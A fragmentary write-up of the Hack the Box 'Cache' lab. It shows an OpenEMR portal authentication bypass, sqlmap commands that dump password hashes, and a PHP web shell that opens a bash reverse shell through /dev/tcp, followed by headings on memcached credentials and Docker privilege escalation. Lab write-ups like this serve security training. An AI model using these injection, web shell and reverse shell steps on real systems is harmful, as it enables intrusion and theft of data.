Hack the Box: Cache




Nmap scan
Main site
login page
Credentials in js file
OpenEMR login page


OpenEMR version
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating tothe registration page and modifying the requested url to access the desired page.
# cat request 
GET /portal/find_appt_popup_user.php?catid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: OpenEMR=hr2livsbd5ai8c5cmglpme60fi; PHPSESSID=47et9rbfja72qos57se81ea8ha
Upgrade-Insecure-Requests: 1
# sqlmap -r request --tables -v0
| users_facility |
| users_secure |
# sqlmap -r request --dump -T users_secure
password hash to openmr_admin
reversing the password
Admin interface
Listable /sites
echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'\"); ?>" > /var/www/hms.htb/public_html/sites/tellico.php

User flag

Reverse shell
User flag


User jiffy

Netstat result
Listing content of memcached
Reading luffy credentials
Move to luffy

Docker privlege escalation

Listing local docker images
Root flagcd




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Tellico Lungrevink

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